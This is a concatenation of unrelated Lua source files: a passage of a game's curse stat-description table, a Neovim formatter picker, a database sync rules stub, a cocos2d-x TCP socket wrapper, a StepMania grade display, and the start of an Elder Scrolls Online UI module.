enemies have an additional %1%%% chance to be Stunned"}}},name="chance_to_be_stunned",stats={[1]="chance_to_be_stunned_%"}},[35]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have %1%%% increased Stun and Block Recovery"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed enemies have %1%%% reduced Stun and Block Recovery"}}},name="stun_recovery_incr",stats={[1]="base_stun_recovery_+%"}},[36]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies take %1%%% increased Physical Damage"}}},name="physical_damage_taken_incr",stats={[1]="physical_damage_taken_+%"}},[37]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies take %1%%% increased Damage from Damage Over Time effects"}}},name="degen_effect_incr",stats={[1]="degen_effect_+%"}},[38]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Ignite on Cursed enemies has %1%%% reduced Duration"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Ignite on Cursed enemies has %1%%% increased Duration"}}},name="self_burn_duration",stats={[1]="base_self_ignite_duration_-%"}},[39]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Freezes on Cursed enemies have %1%%% reduced Duration"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Freezes on Cursed enemies have %1%%% increased Duration"}}},name="self_freeze_duration",stats={[1]="base_self_freeze_duration_-%"}},[40]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Shocks on Cursed enemies have %1%%% reduced Duration"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Shocks on Cursed enemies have %1%%% increased Duration"}}},name="self_shock_duration",stats={[1]="base_self_shock_duration_-%"}},[41]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="You cannot Cast this Curse directly"}}},name="cannot_cast_curses",stats={[1]="cannot_cast_curses"}},[42]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies grant %1% Life when Hit by Attacks"}}},name="life_granted_when_hit",stats={[1]="life_granted_when_hit_by_attacks"}},[43]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies grant %1% Mana when Hit by Attacks"}}},name="mana_granted_when_hit",stats={[1]="mana_granted_when_hit_by_attacks"}},[44]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies grant %1% Life when Killed"}}},name="life_granted_when_killed",stats={[1]="life_granted_when_killed"}},[45]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies grant %1% Mana when Killed"}}},name="mana_granted_when_killed",stats={[1]="mana_granted_when_killed"}},[46]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="%1%%% increased Area of Effect of Curses"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="%1%%% reduced Area of Effect of Curses"}}},name="curse_area",stats={[1]="curse_area_of_effect_+%"}},[47]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="This Curse is Cast as an Aura applying to nearby Enemies"}}},name="curse_aura",stats={[1]="curse_apply_as_aura"}},[48]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies have %1$+d%% to Physical Damage Reduction"}}},name="phys_reduction",stats={[1]="base_additional_physical_damage_reduction_%"}},[49]={lang={English={[1]={[1]={k="reminderstring",v="ReminderTextMaim"},limit={[1]={[1]=1,[2]="#"}},text="Attack Hits have %1%%% chance to Maim Cursed Enemies for 4 seconds"}}},name="maim_when_hit_chance",stats={[1]="chance_to_be_maimed_when_hit_%"}},[50]={lang={English={[1]={[1]={k="divide_by_one_hundred",v=1},[2]={k="reminderstring",v="ReminderTextEnergyShieldLeech"},limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies grant %1%%% Energy Shield Leech when Hit"}}},name="energy_shield_leeched_when_hit",stats={[1]="energy_shield_leech_on_any_damage_when_hit_permyriad"}},[51]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed Rare or Unique enemies deal %1%%% more Damage"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed Rare or Unique enemies deal %1%%% less Damage"}}},name="enfeeble_damage_scale_rare_or_unique",stats={[1]="enfeeble_damage_+%_vs_rare_or_unique_final"}},[52]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"},[2]={[1]="#",[2]="#"}},text="Adds %1% to %2% Chaos Damage to Hits against Cursed Enemies"}}},name="chaos_weakness_damage",stats={[1]="minimum_added_chaos_damage_taken",[2]="maximum_added_chaos_damage_taken"}},[53]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies take %1%%% increased Physical Damage from Damage Over Time"},[2]={limit={[1]={[1]="#",[2]=-1}},text="Cursed enemies take %1%%% increased Physical Damage from Damage Over Time"}}},name="physical_dot_taken_incr",stats={[1]="base_physical_damage_over_time_taken_+%"}},[54]={lang={English={[1]={[1]={k="reminderstring",v="ReminderTextBleeding"},limit={[1]={[1]=1,[2]="#"}},text="Cursed Enemies have %1%%% chance to Bleed when Hit by Attacks"}}},name="bleed_when_hit_chance",stats={[1]="receive_bleeding_chance_%_when_hit_by_attack"}},[55]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed Rare and Unique Enemies have %1%%% more Action Speed"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed Rare and Unique Enemies have %1%%% less Action Speed"}}},name="action_speed_reduction_rare_or_unique",stats={[1]="temporal_chains_action_speed_+%_vs_rare_or_unique_final"}},["accuracy_rating_+%"]=24,["base_additional_physical_damage_reduction_%"]=48,["base_chaos_damage_resistance_%"]=8,["base_cold_damage_resistance_%"]=6,["base_critical_strike_multiplier_+"]=26,["base_fire_damage_resistance_%"]=5,["base_lightning_damage_resistance_%"]=7,["base_physical_damage_over_time_taken_+%"]=53,["base_resist_all_elements_%"]=4,["base_self_critical_strike_multiplier_-%"]=29,["base_self_freeze_duration_-%"]=39,["base_self_ignite_duration_-%"]=38,["base_self_shock_duration_-%"]=40,["base_stun_recovery_+%"]=35,["buff_effect_duration"]=1,["buff_time_passed_+%_other_than_temporal_chains"]=3,["cannot_cast_curses"]=41,["chance_to_be_frozen_%"]=9,["chance_to_be_ignited_%"]=10,["chance_to_be_knocked_back_%"]=31,["chance_to_be_maimed_when_hit_%"]=49,["chance_to_be_shocked_%"]=11,["chance_to_be_stunned_%"]=34,["chance_to_grant_endurance_charge_on_death_%"]=17,["chance_to_grant_frenzy_charge_on_death_%"]=18,["chance_to_grant_power_charge_on_death_%"]=19,["critical_strike_chance_+%"]=25,["curse_apply_as_aura"]=47,["curse_area_of_effect_+%"]=46,["degen_effect_+%"]=37,["enemy_additional_critical_strike_chance_against_self"]=28,["energy_shield_leech_on_any_damage_when_hit_permyriad"]=50,["enfeeble_damage_+%_final"]=27,["enfeeble_damage_+%_vs_rare_or_unique_final"]=51,["evasion_rating_+%_final_from_poachers_mark"]=32,["life_granted_when_hit_by_attacks"]=42,["life_granted_when_killed"]=44,["life_leech_on_any_damage_when_hit_by_attack_permyriad"]=13,["life_leech_on_any_damage_when_hit_permyriad"]=14,["mana_granted_when_hit_by_attacks"]=43,["mana_granted_when_killed"]=45,["mana_leech_on_any_damage_when_hit_by_attack_permyriad"]=15,["mana_leech_on_any_damage_when_hit_permyriad"]=16,["maximum_added_chaos_damage_taken"]=52,["minimum_added_chaos_damage_taken"]=52,["monster_slain_flask_charges_granted_+%"]=12,parent="skill_stat_descriptions",["physical_damage_taken_+%"]=36,["projectile_damage_taken_+%"]=33,["projectiles_always_pierce_you"]=30,["punishment_physical_damage_%_reflected_for_magic_monsters"]=21,["punishment_physical_damage_%_reflected_for_normal_monsters"]=20,["punishment_physical_damage_%_reflected_for_rare_monsters"]=22,["punishment_physical_damage_%_reflected_for_unique_monsters"]=23,["receive_bleeding_chance_%_when_hit_by_attack"]=54,["temporal_chains_action_speed_+%_final"]=2,["temporal_chains_action_speed_+%_vs_rare_or_unique_final"]=55} |
local utils = require('utils.core')
local M = {}
local html = require('languages.html')
local css = require('languages.css')
local yaml = require('languages.yaml')
local svelte = require('languages.svelte')
local python = require('languages.python')
local javascript = require('languages.javascript')
local java = require('languages.java')
local php = require('languages.php')
local markdown = require('languages.markdown')
local xml = require('languages.xml')
local go = require('languages.go')
local lua = require('languages.lua')
local tex = require('languages.tex')
local rust = require('languages.rust')
local json = require('languages.json')
local docker = require('languages.docker')
local formatters = {
javascript = javascript.all_format,
javascriptreact = javascript.all_format,
typescript = javascript.all_format,
typescriptreact = javascript.all_format,
svelte = svelte.all_format,
go = go.all_format,
rust = rust.all_format,
lua = lua.all_format,
java = java.all_format,
php = php.all_format,
python = python.all_format,
tex = tex.all_format,
xml = xml.all_format,
html = html.all_format,
css = css.all_format,
yaml = css.all_format,
markdown = markdown.all_format,
json = json.all_format,
dockerfile = docker.all_format,
}
M.default_formatter = {
javascript = javascript.default_format,
javascriptreact = javascript.default_format,
typescript = javascript.default_format,
typescriptreact = javascript.default_format,
svelte = svelte.default_format,
go = go.default_format,
rust = rust.default_format,
lua = lua.default_format,
java = java.default_format,
php = php.default_format,
python = python.default_format,
tex = tex.default_format,
xml = xml.default_format,
html = html.default_format,
css = css.default_format,
yaml = yaml.default_format,
markdown = markdown.default_format,
json = json.default_format,
dockerfile = docker.default_format,
}
M.choose_formatter = function()
local fileType = vim.bo.filetype
local all_formatters = formatters[fileType]
local store_formatters = {}
local count = 0
for key, _ in pairs(all_formatters) do
count = count + 1
-- table.insert(store_formatters, key)
store_formatters[#store_formatters + 1] = key
print('[' .. count .. '] ' .. key)
end
if count > 1 then
local option = vim.fn.input('Choose your formmatter: ')
M.default_formatter[fileType] = store_formatters[tonumber(option)]
end
end
M.formatter_status = function()
local fileType = vim.bo.filetype
if M.default_formatter[fileType] then
return formatters[fileType][M.default_formatter[fileType]] .. ' '
else
return ''
end
end
-- Credit https://github.com/terrortylor/neovim-environment/blob/main/lua/config/lsp/funcs.lua#L11
M.format = function()
local clients = vim.lsp.buf_get_clients(0)
local fileType = vim.bo.filetype
local code_formatter = M.default_formatter[fileType]
if utils.tablelength(clients) > 1 then
-- check if multiple clients, and if efm is setup
for _, c1 in pairs(clients) do
if c1.name == code_formatter then
c1.resolved_capabilities.document_formatting = true
-- if efm then disable others
for _, c2 in pairs(clients) do
-- print(c2.name, c2.resolved_capabilities.document_formatting)
if c2.name ~= code_formatter then
c2.resolved_capabilities.document_formatting = false
end
end
-- no need to contunue first loop
break
end
end
end
vim.lsp.buf.formatting_sync(nil, 1000)
end
M.range_format = function()
local vim_mode = vim.api.nvim_eval('mode()')
if vim_mode == 'v' then
local start_position = vim.api.nvim_eval('getpos("v")')
local end_position = vim.api.nvim_eval('getpos(".")')
vim.lsp.buf.range_formatting({}, { start_position[2], 0 }, { end_position[2], 0 })
end
end
return M
|
--.------------------------------------------------
--. rules3837.lua (Version:1.0) --
--. Applies rules from core 38 to core 37 --
--.------------------------------------------------
--.--------------------
--. Prefix functions --
--.--------------------
module("CoreRules", package.seeall)
function InitRules()
local currentRules = {
SPLIT_DEF = {
insert = {
lineFilter = filter1
,removeColumns = { PRINT_LANDSCAPE = 1 }
,addColumns = { NEW_COL1 = "'ola'", NEW_COL2 = calculate1 }
,replaceValue = { PK_NAME = calculate2 }
}
,update = {
lineFilter = filter2
,removeColumns = { PRINT_LANDSCAPE = 1 }
,addColumns = { NEW_COL1 = "'ola'", NEW_COL2 = calculate1 }
,replaceValue = { PK_NAME = calculate2 }
,whereProcess = whereFunc2
}
,delete = {
lineFilter = filter3
,whereProcess = whereFunc3
}
}
}
return currentRules
end
function calculate1(Fields)
return "'novo campo directo'"
end
function calculate2(Fields)
return "'replace calculado'"
end
function filter1(Fields, Where)
return false
end
function filter2(Fields, Where)
return true
end
function filter3(Fields, Where)
return false
end
function whereFunc2(Fields, Where)
return "new where string"
end
function whereFunc3(Fields, Where)
return "new where string"
end
|
--[[
For quick-cocos2d-x
SocketTCP lua
@author zrong (zengrong.net)
Creation: 2013-11-12
Last Modification: 2013-12-05
@see http://cn.quick-x.com/?topic=quickkydsocketfzl
]]
local SOCKET_TICK_TIME = 0.1 -- check socket data interval
local SOCKET_RECONNECT_TIME = 5 -- socket reconnect try interval
local SOCKET_CONNECT_FAIL_TIMEOUT = 3 -- socket failure timeout
local STATUS_CLOSED = "closed"
local STATUS_NOT_CONNECTED = "Socket is not connected"
local STATUS_ALREADY_CONNECTED = "already connected"
local STATUS_ALREADY_IN_PROGRESS = "Operation already in progress"
local STATUS_TIMEOUT = "timeout"
local scheduler = require("framework.scheduler")
local socket = require "socket"
local SocketTCP = class("SocketTCP")
SocketTCP.EVENT_DATA = "SOCKET_TCP_DATA"
SocketTCP.EVENT_CLOSE = "SOCKET_TCP_CLOSE"
SocketTCP.EVENT_CLOSED = "SOCKET_TCP_CLOSED"
SocketTCP.EVENT_CONNECTED = "SOCKET_TCP_CONNECTED"
SocketTCP.EVENT_CONNECT_FAILURE = "SOCKET_TCP_CONNECT_FAILURE"
SocketTCP._VERSION = socket._VERSION
SocketTCP._DEBUG = socket._DEBUG
function SocketTCP.getTime()
return socket.gettime()
end
function SocketTCP:ctor(__host, __port, __retryConnectWhenFailure)
cc(self):addComponent("components.behavior.EventProtocol"):exportMethods()
self.host = __host
self.port = __port
self.tickScheduler = nil -- timer for data
self.reconnectScheduler = nil -- timer for reconnect
self.connectTimeTickScheduler = nil -- timer for connect timeout
self.name = 'SocketTCP'
self.tcp = nil
self.isRetryConnect = __retryConnectWhenFailure
self.isConnected = false
end
function SocketTCP:setName( __name )
self.name = __name
return self
end
function SocketTCP:setTickTime(__time)
SOCKET_TICK_TIME = __time
return self
end
function SocketTCP:setReconnTime(__time)
SOCKET_RECONNECT_TIME = __time
return self
end
function SocketTCP:setConnFailTime(__time)
SOCKET_CONNECT_FAIL_TIMEOUT = __time
return self
end
function SocketTCP:connect(__host, __port, __retryConnectWhenFailure)
if __host then self.host = __host end
if __port then self.port = __port end
if __retryConnectWhenFailure ~= nil then self.isRetryConnect = __retryConnectWhenFailure end
assert(self.host or self.port, "Host and port are necessary!")
--printInfo("%s.connect(%s, %d)", self.name, self.host, self.port)
self.tcp = socket.tcp()
self.tcp:settimeout(0)
local function __checkConnect()
local __succ = self:_connect()
if __succ then
self:_onConnected()
end
return __succ
end
if not __checkConnect() then
-- check whether connection is success
-- the connection is failure if socket isn't connected after SOCKET_CONNECT_FAIL_TIMEOUT seconds
local __connectTimeTick = function ()
--printInfo("%s.connectTimeTick", self.name)
if self.isConnected then return end
self.waitConnect = self.waitConnect or 0
self.waitConnect = self.waitConnect + SOCKET_TICK_TIME
if self.waitConnect >= SOCKET_CONNECT_FAIL_TIMEOUT then
self.waitConnect = nil
self:close()
self:_connectFailure()
end
__checkConnect()
end
self.connectTimeTickScheduler = scheduler.scheduleGlobal(__connectTimeTick, SOCKET_TICK_TIME)
end
end
function SocketTCP:send(__data)
assert(self.isConnected, self.name .. " is not connected.")
return self.tcp:send(__data);
end
function SocketTCP:close( ... )
--printInfo("%s.close", self.name)
self.tcp:close();
if self.connectTimeTickScheduler then scheduler.unscheduleGlobal(self.connectTimeTickScheduler) end
if self.tickScheduler then scheduler.unscheduleGlobal(self.tickScheduler) end
self:dispatchEvent({name=SocketTCP.EVENT_CLOSE})
end
-- disconnect on user's own initiative.
function SocketTCP:disconnect()
self:_disconnect()
self.isRetryConnect = false -- initiative to disconnect, no reconnect.
end
--------------------
-- private
--------------------
--- When connect a connected socket server, it will return "already connected"
-- @see: http://lua-users.org/lists/lua-l/2009-10/msg00584.html
function SocketTCP:_connect()
local __succ, __status = self.tcp:connect(self.host, self.port)
-- print("SocketTCP._connect:", __succ, __status)
return __succ == 1 or __status == STATUS_ALREADY_CONNECTED
end
function SocketTCP:_disconnect()
self.isConnected = false
self.tcp:shutdown()
self:dispatchEvent({name=SocketTCP.EVENT_CLOSED})
end
function SocketTCP:_onDisconnect()
--printInfo("%s._onDisConnect", self.name);
self.isConnected = false
self:dispatchEvent({name=SocketTCP.EVENT_CLOSED})
self:_reconnect();
end
-- connecte success, cancel the connection timerout timer
function SocketTCP:_onConnected()
--printInfo("%s._onConnectd", self.name)
self.isConnected = true
self:dispatchEvent({name=SocketTCP.EVENT_CONNECTED})
if self.connectTimeTickScheduler then scheduler.unscheduleGlobal(self.connectTimeTickScheduler) end
local __tick = function()
while true do
-- if use "*l" pattern, some buffer will be discarded, why?
local __body, __status, __partial = self.tcp:receive("*a") -- read the package body
--print("body:", __body, "__status:", __status, "__partial:", __partial)
--print("name="..self.name..";ip="..self.host..";port="..tostring(self.port));
if __status == STATUS_CLOSED or __status == STATUS_NOT_CONNECTED then
self:close()
if self.isConnected then
self:_onDisconnect()
else
self:_connectFailure()
end
return
end
if (__body and string.len(__body) == 0) or
(__partial and string.len(__partial) == 0)
then return end
if __body and __partial then __body = __body .. __partial end
self:dispatchEvent({name=SocketTCP.EVENT_DATA, data=(__partial or __body), partial=__partial, body=__body})
end
end
-- start to read TCP data
self.tickScheduler = scheduler.scheduleGlobal(__tick, SOCKET_TICK_TIME)
end
function SocketTCP:_connectFailure(status)
--printInfo("%s._connectFailure", self.name);
self:dispatchEvent({name=SocketTCP.EVENT_CONNECT_FAILURE})
self:_reconnect();
end
-- if connection is initiative, do not reconnect
function SocketTCP:_reconnect(__immediately)
if not self.isRetryConnect then return end
printInfo("%s._reconnect", self.name)
if __immediately then self:connect() return end
if self.reconnectScheduler then scheduler.unscheduleGlobal(self.reconnectScheduler) end
local __doReConnect = function ()
self:connect()
end
self.reconnectScheduler = scheduler.performWithDelayGlobal(__doReConnect, SOCKET_RECONNECT_TIME)
end
return SocketTCP
|
local args = {...}
-- the only arg is arg 1, the player number
local function m(metric)
metric = metric:gsub("PN", ToEnumShortString(args[1]))
return THEME:GetMetric(Var "LoadingScreen",metric)
end
local pss = STATSMAN:GetCurStageStats():GetPlayerStageStats(args[1])
local tier = SN2Grading.ScoreToGrade(pss:GetScore(), pss:GetPlayedSteps()[1]:GetDifficulty())
local t = Def.ActorFrame {};
for _, pn in pairs(GAMESTATE:GetEnabledPlayers()) do
t[#t+1] = Def.ActorFrame{
Def.Sprite{
InitCommand = function(s) s:draworder(98):player(pn):x(m "RingPNX"):y(m "RingPNY"):zoom(0) end,
OnCommand=function(self)
local staw = STATSMAN:GetCurStageStats():GetPlayerStageStats(pn):GetStageAward();
if staw ~= nil then
if((staw =="StageAward_SingleDigitW4") or (staw =="StageAward_OneW4") or (staw =="StageAward_FullComboW4") or string.find(staw,"W4")) then
self:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/GoodFullcombo_ring.png"));
elseif((staw =="StageAward_SingleDigitW3") or (staw =="StageAward_OneW3") or (staw =="StageAward_FullComboW3") or string.find(staw,"W3")) then
self:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/GreatFullcombo_ring.png"));
elseif((staw =="StageAward_SingleDigitW2") or (staw =="StageAward_OneW2") or (staw =="StageAward_FullComboW2") ) then
self:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/PerfectFullcombo_ring.png"));
elseif (staw =="StageAward_FullComboW1") then
self:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/MarvelousFullcombo_ring.png"));
end;
(cmd(linear,0.2;zoom,0.65;spin;effectmagnitude,0,0,170))(self);
end;
end;
OffCommand=cmd(linear,0.2;zoom,0);
};
--Lines
Def.Sprite{
InitCommand = function(s) s:draworder(98):player(pn):x(m "RingPNX"):y(m "RingPNY"):zoom(0) end,
OnCommand=function(self)
local staw = STATSMAN:GetCurStageStats():GetPlayerStageStats(pn):GetStageAward();
if staw ~= nil then
if((staw =="StageAward_SingleDigitW4") or (staw =="StageAward_OneW4") or (staw =="StageAward_FullComboW4") or string.find(staw,"W4")) then
self:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/GoodFullcombo_lines.png"));
elseif((staw =="StageAward_SingleDigitW3") or (staw =="StageAward_OneW3") or (staw =="StageAward_FullComboW3") or string.find(staw,"W3")) then
self:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/GreatFullcombo_lines.png"));
elseif((staw =="StageAward_SingleDigitW2") or (staw =="StageAward_OneW2") or (staw =="StageAward_FullComboW2") ) then
self:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/PerfectFullcombo_lines.png"));
elseif (staw =="StageAward_FullComboW1") then
self:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/MarvelousFullcombo_lines.png"));
end;
(cmd(linear,0.2;zoom,0.65;spin;effectmagnitude,0,0,-170))(self);
end;
end;
OffCommand=cmd(linear,0.2;zoom,0);
};
} ;
end;
for _, pn in pairs(GAMESTATE:GetEnabledPlayers()) do
t[#t+1] = Def.ActorFrame{
Def.Sprite{
InitCommand = function(s) s:x(m "GradePNX"):y(m "GradePNY"):playcommand("Set") end,
OnCommand = m "GradePNOnCommand",
OffCommand = m "GradePNOffCommand",
SetCommand= function(s)
local failed = STATSMAN:GetCurStageStats():GetPlayerStageStats(pn):GetFailed();
if failed then
s:Load(THEME:GetPathB("","ScreenEvaluationNormal overlay/grade/GradeDisplayEval Failed"))
else
s:Load(THEME:GetPathB("ScreenEvaluationNormal overlay/grade/GradeDisplayEval", ToEnumShortString(tier)))
end;
end;
};
};
end;
return t;
|
--[[
This file was extracted by 'EsoLuaGenerator' at '2021-09-04 16:42:28' using the latest game version.
NOTE: This file should only be used as IDE support; it should NOT be distributed with addons!
****************************************************************************
CONTENTS OF THIS FILE IS COPYRIGHT ZENIMAX MEDIA INC.
****************************************************************************
]]
local ACCEPT = true
local REJECT = false
-- Style Constants
local FRAME_BORDER_PADDING_KEYBOARD = 4
local FRAME_BORDER_PADDING_GAMEPAD = 8
ZO_FRAMED_ANTIQUITY_FRAME_DIMENSIONS_KEYBOARD = 64
ZO_FRAMED_ANTIQUITY_ICON_DIMENSIONS_KEYBOARD = ZO_FRAMED_ANTIQUITY_FRAME_DIMENSIONS_KEYBOARD - FRAME_BORDER_PADDING_KEYBOARD
ZO_FRAMED_ANTIQUITY_FRAME_DIMENSIONS_GAMEPAD = 64
ZO_FRAMED_ANTIQUITY_ICON_DIMENSIONS_GAMEPAD = ZO_FRAMED_ANTIQUITY_FRAME_DIMENSIONS_GAMEPAD - FRAME_BORDER_PADDING_GAMEPAD
ZO_SET_COMPLETE_FRAMED_ANTIQUITY_FRAME_DIMENSIONS_KEYBOARD = 100
ZO_SET_COMPLETE_FRAMED_ANTIQUITY_ICON_DIMENSIONS_KEYBOARD = ZO_SET_COMPLETE_FRAMED_ANTIQUITY_FRAME_DIMENSIONS_KEYBOARD - FRAME_BORDER_PADDING_KEYBOARD
ZO_SET_COMPLETE_FRAMED_ANTIQUITY_FRAME_DIMENSIONS_GAMEPAD = 100
ZO_SET_COMPLETE_FRAMED_ANTIQUITY_ICON_DIMENSIONS_GAMEPAD = ZO_SET_COMPLETE_FRAMED_ANTIQUITY_FRAME_DIMENSIONS_GAMEPAD - FRAME_BORDER_PADDING_GAMEPAD
-- Timeline Constants
ZO_ANTIQUITY_DIGGING_FANFARE_OUT_DELAY = 30
ZO_ANTIQUITY_DIGGING_FANFARE_OUT_DURATION = 40
local SET_PROGRESSION_FRAMED_ICON_DELAY_MODIFIER_MS = 35
ZO_PROGRESSION_FRAMED_ICON_FADE_DURATION_MS = 300
ZO_PROGRESSION_FRAMED_ICON_SCALE_DURATION_MS = 100
ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS =
{
BEGIN = "Begin",
NEXT = "Next",
ANIMATION_COMPLETE = "AnimationComplete",
PARTIAL_ANIMATION_COMPLETE = "PartialAnimationComplete", -- For use in the animation event count trigger where we expect more than one call before we count all animations as complete and move on
}
ZO_AntiquityDiggingSummary = ZO_Object:Subclass()
function ZO_AntiquityDiggingSummary:New(...)
local object = ZO_Object.New(self)
object:Initialize(...)
return object
end
function ZO_AntiquityDiggingSummary:Initialize(control)
self.control = control
ANTIQUITY_DIGGING_SUMMARY_FRAGMENT = ZO_SimpleSceneFragment:New(self.control)
ANTIQUITY_DIGGING_SUMMARY_FRAGMENT:SetHideOnSceneHidden(true)
ANTIQUITY_DIGGING_SUMMARY_FRAGMENT:RegisterCallback("StateChange", function(oldState, newState)
if newState == SCENE_FRAGMENT_HIDDEN then
self.fanfareStateMachine:SetCurrentState("INACTIVE")
end
end)
control:RegisterForEvent(EVENT_START_ANTIQUITY_DIGGING, function()
-- make sure we start at the beginning of the state machine on start
self.fanfareStateMachine:SetCurrentState("INACTIVE")
end)
control:RegisterForEvent(EVENT_REQUEST_ANTIQUITY_DIGGING_EXIT, function()
if ANTIQUITY_DIGGING_SUMMARY_FRAGMENT:IsShowing() then
AntiquityDiggingExitResponse(ACCEPT)
end
end)
self:InitializeControls()
self:InitializeStateMachine()
ZO_PlatformStyle:New(function(style) self:ApplyPlatformStyle(style) end)
end
function ZO_AntiquityDiggingSummary:InitializeControls()
self.modalUnderlay = self.control:GetNamedChild("ModalUnderlay")
self.modalUnderlayTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingModalUnderlayFade", self.modalUnderlay)
-- Control style tamplating
local function MarkStyleDirty(control)
control.isStyleDirty = true
if not control:IsHidden() then
control:CleanStyle()
end
end
local function CleanStyle(control)
if control.isStyleDirty then
ApplyTemplateToControl(control, ZO_GetPlatformTemplate(control.styleTemplateBase))
control.isStyleDirty = false
end
end
local function SetupControlStyleTemplating(control, styleTemplateBase)
control.MarkStyleDirty = MarkStyleDirty
control.CleanStyle = CleanStyle
control.styleTemplateBase = styleTemplateBase
control.isStyleDirty = true -- When first created they won't have the platform style applied yet
end
--Keybind
self.keybindButtonsControl = self.control:GetNamedChild("Keybinds")
self.keybindTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingSummaryKeybindFade", self.keybindButtonsControl)
local primaryDescriptor =
{
keybind = "ANTIQUITY_DIGGING_PRIMARY_ACTION",
callback = function()
self:HandleCommand(ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.NEXT)
end,
}
self.primaryKeybindButton = self.keybindButtonsControl:GetNamedChild("Primary")
self.primaryKeybindButton:SetKeybindButtonDescriptor(primaryDescriptor)
local secondaryDescriptor =
{
keybind = "ANTIQUITY_DIGGING_CODEX",
callback = function()
self:ShowCodexEntry()
end,
}
self.secondaryKeybindButton = self.keybindButtonsControl:GetNamedChild("Secondary")
self.secondaryKeybindButton:SetKeybindButtonDescriptor(secondaryDescriptor)
-- Failure
self.failureControl = self.control:GetNamedChild("Failure")
self.failureReasonBodyLabel = self.failureControl:GetNamedChild("Reason"):GetNamedChild("Body")
self.failureTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingFailureFade", self.failureControl)
-- Rewards
self.rewardsControl = self.control:GetNamedChild("Rewards")
self.rewardsOutTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingRewardsOutTimeline", self.rewardsControl)
-- SetSkipAnimationsBehindPlayheadOnInitialPlay is needed because the animations have delays.
-- Without this, when playing the animation directly to start, it won't set the various states because the position is technically beyond the playhead
self.rewardsOutTimeline:SetSkipAnimationsBehindPlayheadOnInitialPlay(false)
-- Antiquity Reward
self.antiquityRewardControl = self.rewardsControl:GetNamedChild("Antiquity")
self.rewardAntiquityHeaderLabelRevealer = self.antiquityRewardControl:GetNamedChild("Header")
self.rewardAntiquitySubHeaderLabelRevealer = self.antiquityRewardControl:GetNamedChild("SubHeader")
local antiquityRewardContainerControl = self.antiquityRewardControl:GetNamedChild("Container")
self.rewardAntiquityNameLabelRevealer = antiquityRewardContainerControl:GetNamedChild("Name")
self.rewardAntiquityIconTexture = antiquityRewardContainerControl:GetNamedChild("FrameIcon")
self.antiquityRewardTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingAntiquityRewardInTimeline", self.antiquityRewardControl)
self.antiquityRewardTimeline:SetSkipAnimationsBehindPlayheadOnInitialPlay(false)
self.rewardAntiquityHeaderLabelRevealer:SetSizeAnimation(self.antiquityRewardTimeline:GetAnimation(2))
self.rewardAntiquitySubHeaderLabelRevealer:SetSizeAnimation(self.antiquityRewardTimeline:GetAnimation(8))
self.rewardAntiquityNameLabelRevealer:SetSizeAnimation(self.antiquityRewardTimeline:GetAnimation(9))
-- New Lead
self.newLeadControl = self.rewardsControl:GetNamedChild("NewLead")
local newLeadItemControl = self.newLeadControl:GetNamedChild("Item")
self.newLeadIconTexture = newLeadItemControl:GetNamedChild("Icon")
self.newLeadIconTexture:SetTexture(GetAntiquityLeadIcon()) -- Never changes, global def defined
self.newLeadNameLabel = newLeadItemControl:GetNamedChild("Name")
self.newLeadTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingRewardNewLeadFade", self.newLeadControl)
self.newLeadTimeline:SetSkipAnimationsBehindPlayheadOnInitialPlay(false)
-- Bonus Loot
self.bonusRewardsControl = self.rewardsControl:GetNamedChild("Bonus")
self.bonusRewardsHeaderLabel = self.bonusRewardsControl:GetNamedChild("Header")
local bonusItemsContainer = self.bonusRewardsControl:GetNamedChild("Items")
self.bonusesRowControlPool = ZO_ControlPool:New("ZO_AntiquityBonusLootRowContainer_Control", bonusItemsContainer)
self.bonusesControlPool = ZO_ControlPool:New("ZO_AntiquityDiggingRewardItem_Control")
self.bonusesControlPool:SetCustomFactoryBehavior(function(control)
control.iconTexture = control:GetNamedChild("Icon")
